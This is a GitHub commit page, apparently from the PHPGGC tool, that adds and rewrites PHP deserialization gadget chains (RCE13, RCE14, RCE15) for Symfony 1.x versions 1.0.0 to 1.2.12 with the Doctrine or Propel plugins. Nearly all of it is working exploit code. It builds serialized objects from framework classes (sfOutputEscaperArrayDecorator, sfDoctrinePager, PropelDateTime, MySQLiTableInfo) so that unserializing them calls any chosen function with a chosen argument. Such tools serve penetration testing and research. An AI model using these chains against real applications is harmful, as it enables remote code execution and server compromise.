Skip to content

Commit 07c9555

Browse files
author
darkpills
committed
Replacing initial chains with alternative chains for Symfony 1.x from 1.0.0 to 1.2.12
1 parent 78270d7 commit 07c9555

File tree

6 files changed

+136
-68
lines changed

6 files changed

+136
-68
lines changed

gadgetchains/Symfony/RCE/13/chain.php

Lines changed: 7 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -4,41 +4,17 @@
44

55
class RCE13 extends \PHPGGC\GadgetChain\RCE\FunctionCall
66
{
7-
public static $version = '1.0.0 < 1.2.12';
8-
public static $vector = '__destruct';
7+
public static $version = '1.2.0 <= 1.2.12';
8+
public static $vector = 'Serializable';
99
public static $author = 'darkpills';
10-
11-
12-
public function process_serialized($serialized)
13-
{
14-
$serialized2 = $serialized;
15-
16-
// Leveraging PHP Bug #49649
17-
// insert the same $output attribute of lime_test class, but with public visibility
18-
// for breaking change between 1.2.8 and 1.2.9 in lime_test attributes
19-
$find = '#s:9:".\\*.output";(.*}}})s:10:".\\*.results";#';
20-
$replace = 's:9:"'.chr(0).'*'.chr(0).'output";${1}s:6:"output";${1}s:10:"'.chr(0).'*'.chr(0).'results";';
21-
$serialized2 = preg_replace($find, $replace, $serialized2);
22-
23-
// update the number of properties
24-
$find = '#"lime_test":8#';
25-
$replace = '"lime_test":9';
26-
$serialized2 = preg_replace($find, $replace, $serialized2);
27-
28-
return $serialized2;
29-
}
10+
public static $information = 'With sfDoctrinePlugin enabled';
3011

3112
public function generate(array $parameters)
3213
{
33-
$value = array($parameters['parameter']);
34-
$escaper1 = new \sfOutputEscaperArrayDecorator($parameters['function'], $value);
35-
36-
$lime_colorizer = new \lime_colorizer();
37-
$escaper2 = new \sfOutputEscaperObjectDecorator(array($escaper1, "current"), $lime_colorizer);
38-
39-
$lime_output = new \lime_output_color($escaper2);
40-
$lime_test = new \lime_test($lime_output);
14+
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
4115

42-
return $lime_test;
16+
$pager = new \sfDoctrinePager($escaper);
17+
18+
return $pager;
4319
}
4420
}

gadgetchains/Symfony/RCE/13/gadgets.php

Lines changed: 9 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -1,52 +1,24 @@
11
<?php
22

3-
class lime_test
3+
class sfDoctrinePager implements Serializable
44
{
5+
protected
6+
$prop = null;
57

6-
protected $output = null;
7-
protected $results = array();
8-
protected $options = array();
9-
10-
public $plan = null;
11-
public $test_nb = 1;
12-
public $failed = 1;
13-
public $passed = 0;
14-
public $skipped = 0;
15-
16-
function __construct($output)
17-
{
18-
$this->output = $output;
8+
public function __construct($prop) {
9+
$this->prop = $prop;
1910
}
20-
}
21-
22-
class lime_output_color
23-
{
24-
public $colorizer = null;
2511

26-
function __construct($colorizer)
12+
public function serialize()
2713
{
28-
$this->colorizer = $colorizer;
14+
return serialize($this->prop);
2915
}
30-
}
31-
32-
33-
class sfOutputEscaperObjectDecorator
34-
{
35-
protected $value;
3616

37-
protected $escapingMethod;
38-
39-
public function __construct($escapingMethod, $value) {
40-
$this->escapingMethod = $escapingMethod;
41-
$this->value = $value;
17+
public function unserialize($serialized)
18+
{
4219
}
4320
}
4421

45-
class lime_colorizer
46-
{
47-
}
48-
49-
5022
class sfOutputEscaperArrayDecorator
5123
{
5224
protected $value;
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE14 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.2.0 <= 1.2.12';
8+
public static $vector = '__wakeup';
9+
public static $author = 'darkpills';
10+
public static $information = 'With sfPropelPlugin enabled';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperObjectDecorator($parameters['function'], new \sfCultureInfo($parameters['parameter']));
15+
16+
$date = new \PropelDateTime(null, $escaper);
17+
18+
return $date;
19+
}
20+
}
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<?php
2+
class PropelDateTime extends DateTime
3+
{
4+
private $dateString;
5+
6+
private $tzString;
7+
8+
public function __construct($dateString, $tzString) {
9+
$this->dateString = $dateString;
10+
$this->tzString = $tzString;
11+
}
12+
}
13+
14+
15+
class sfOutputEscaperObjectDecorator
16+
{
17+
protected $value;
18+
19+
protected $escapingMethod;
20+
21+
public function __construct($escapingMethod, $value) {
22+
$this->escapingMethod = $escapingMethod;
23+
$this->value = $value;
24+
}
25+
}
26+
27+
class sfCultureInfo
28+
{
29+
protected $dataFileExt = '.dat';
30+
protected $data = array();
31+
protected $culture;
32+
protected $dataDir;
33+
protected $dataFiles = array();
34+
protected $dateTimeFormat;
35+
protected $numberFormat;
36+
protected $properties = array();
37+
38+
public function __construct($culture) {
39+
$this->culture = $culture;
40+
}
41+
42+
}
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE15 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.0.0 <= 1.1.9';
8+
public static $vector = '__wakeup';
9+
public static $author = 'darkpills';
10+
public static $information = 'With sfPropelPlugin enabled, which contains Creole ORM';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
15+
16+
$tableInfo = new \MySQLiTableInfo($escaper);
17+
18+
return $tableInfo;
19+
}
20+
}
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
<?php
2+
3+
class sfOutputEscaperArrayDecorator
4+
{
5+
protected $value;
6+
7+
protected $escapingMethod;
8+
9+
public function __construct($escapingMethod, $value) {
10+
$this->escapingMethod = $escapingMethod;
11+
$this->value = $value;
12+
}
13+
}
14+
15+
class MySQLiTableInfo
16+
{
17+
18+
protected $name;
19+
protected $columns = array();
20+
protected $foreignKeys = array();
21+
protected $indexes = array();
22+
protected $primaryKey;
23+
protected $pkLoaded = false;
24+
protected $fksLoaded = false;
25+
protected $indexesLoaded = false;
26+
protected $colsLoaded = false;
27+
protected $vendorLoaded = false;
28+
protected $vendorSpecificInfo = array();
29+
protected $conn;
30+
protected $database;
31+
protected $dblink;
32+
protected $dbname;
33+
34+
public function __construct($columns)
35+
{
36+
$this->columns = $columns;
37+
}
38+
}

0 commit comments

Comments
 (0)